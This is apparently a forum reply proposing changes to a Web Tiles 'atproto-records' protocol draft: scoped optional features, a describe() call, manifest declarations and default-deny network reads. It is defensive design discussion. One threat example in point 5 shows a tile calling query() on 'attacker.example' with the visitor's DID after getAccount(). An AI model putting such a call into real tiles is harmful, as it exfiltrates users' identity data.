Thanks for writing this up, and thanks @chris.pardy.family and @pyxorium.com for the comparisons. I’ve compared the draft against what Highport does. I’d like to help get this to a common interface that Highport, Raku, your host, and whatever comes next can all implement.
Some background on where Highport sits, since it’s a different shape of host. Highport serves a tile as the top-level page of a site on its own domain, not inside an embedding page. Tiles reach the host through same-origin modules under /.well-known/web-tiles/:
data.js (tp-data)
site.js
identity.js, which gives the signed-in visitor’s DID and verified handle
xrpc.js, a fixed, read-only set of XRPC queries the host answers itself
The page’s CSP is connect-src 'self', and nothing is forwarded to other services. So Highport will never offer everything this draft describes, and neither will Raku. Your host will offer more than either of us.
I think that’s fine, and probably how it should be. The interface should expect hosts to differ, and make each difference explicit enough that a tile can degrade safely instead of breaking. In practice, every capability is a feature that a host can turn on, turn off, or narrow with allow and deny lists. A tile can learn which before it renders anything.
Here are the changes I’d ask for.
1. Separate the API from the wire
Make the exported functions and their semantics the standard. Treat the tiles-protocol-* table as the web binding for embedding hosts. Tiles Protocols already leaves the implementation to the environment. Highport would serve the same atproto-records.js exports over same-origin fetch, and Raku could serve them over tp-data. A tile written against the exports shouldn’t care which.
2. Every function is an optional, scoped feature
Each function (getRecord, query, getAccount, writeRecord, and the ones in point 6) should be a feature with a scope the host states. Hosts express their policy as allow and deny lists:
- Reads: which collections, and which repos (any, the context record’s author, the site owner, referenced records only).
- Queries: which
(service, method) pairs, rather than any HTTPS origin.
- Writes: which collections, which actions, and an rkey prefix, as Chris suggested.
A host may grant less than a tile asks for, never more. That gives each provider room for its own policy without forking the protocol.
3. Add describe() instead of omitting functions
The draft says unsupported functions MUST be omitted. Omission can only say “not here”. It can’t say “sign in first”, “the site owner turned this off”, or “only for these collections”, and a tile needs to tell those apart to degrade well. I’d propose:
- Every export is always present.
describe() returns one entry per feature, with a status and, when it’s off, a reason.
addCapabilityHandler(fn) fires when a status changes, for example after sign-in.
- A call to a feature that’s off rejects with the existing
code plus the same reason, so describe() and the call never disagree.
Hosts that predate describe() keep omitting, so tiles check for describe first and fall back to typeof.
{
protocol: 'atproto-records', version: 1,
features: {
context: { status: 'available', updates: false },
getRecord: { status: 'limited', scope: { collections: ['at.margin.note'], repos: 'context-author' } },
query: { status: 'disabled', reason: 'host-policy' },
getAccount: { status: 'needs-sign-in' },
writeRecord: { status: 'disabled', reason: 'not-implemented' }
}
}
That’s roughly what Highport would answer for a Margin note tile.
- Statuses:
available, limited, needs-sign-in, needs-consent, disabled. Only the two needs-* statuses change while the tile is running.
- Reasons:
not-implemented, host-policy, owner-declined, person-declined, not-declared, scope-mismatch, version, environment.
4. Declare needs in the manifest, not only in listen()
This is the up-front declaration both of you raised. I’d put it in the tile record, so it’s published, pinned by CID, and readable before any code runs. listen() would stay as the readiness signal.
"protocols": {
"atproto-records": {
"version": 1,
"features": {
"context": { "need": "required", "record": "required", "collections": ["at.margin.note"] },
"getRecord": { "need": "optional", "collections": ["at.margin.note", "at.margin.reply"], "purpose": "Show replies" },
"query": { "need": "optional", "endpoints": [{ "service": "https://constellation.microcosm.blue", "method": "blue.microcosm.links.getBacklinks" }], "purpose": "Find replies and likes" },
"writeRecord": { "need": "optional", "collections": ["at.margin.like"], "actions": ["create", "delete"], "purpose": "Like a note" }
}
}
}
- If a
required feature comes out disabled, the host doesn’t start the tile and says why in its own UI.
- An
optional feature that’s off is reported, and the tile hides or greys out whatever depends on it.
purpose is the plain-language text a host shows when asking for consent: “Like a note”, not “write”.
- Tying grants to the tile’s CID means a host approves this version’s writes, which goes some way toward the “malicious tile dot net” problem.
For what it’s worth, Highport tiles already declare typed parameters in their records. A parameter whose type is an NSID is effectively listen({record: 'required', collections: [nsid]}), stated statically. So this direction has worked in practice.
5. Default to deny for reads that reach out
As drafted, query() to any HTTPS origin and getRecord() on any at:// URI both let a tile pick a server and send it data, such as query({service: 'https://attacker.example', params: {did}}) after getAccount(). That undoes the Web Tiles guarantee that a tile can’t reach the network. With points 2 and 4 in place, the fix is a default:
query is off unless the tile declared the exact (service, method) and the host allows it.
getRecord defaults to records the context references, or the same repo, as Raku does.
- The spec should name SSRF rules for hosts that fetch server-side: no private addresses, no redirects, and a size cap.
Hosts that want to be more open can be, and they say so in describe().
6. Smaller things
- Add
getBlob({did, cid}) and listRecords. Everyone needs blobs, and listing shouldn’t require query against a PDS.
- Keep
open({uri}) separate from getRecord. One asks the host to show something and returns nothing to the tile. The other hands the tile data. A host may want to allow one and not the other.
- Record shape:
{uri, cid, value}, plus an optional author: {did, handle?}. The handle should be included only when it’s verified both ways.
- Concrete numbers, or at least minimums: maximum context size, requests per load, and call timeouts. That way a tile author knows what’s safe on every host.
What I’ll do on the Highport side
I plan to ship a read-only atproto-records.js on Highport: context, getRecord, and describe(), with query and writeRecord reported as disabled. Renderer tiles written to this draft would then run there and degrade visibly rather than fail. I’m also happy to help turn the above into spec text if you’d like to take it in this direction.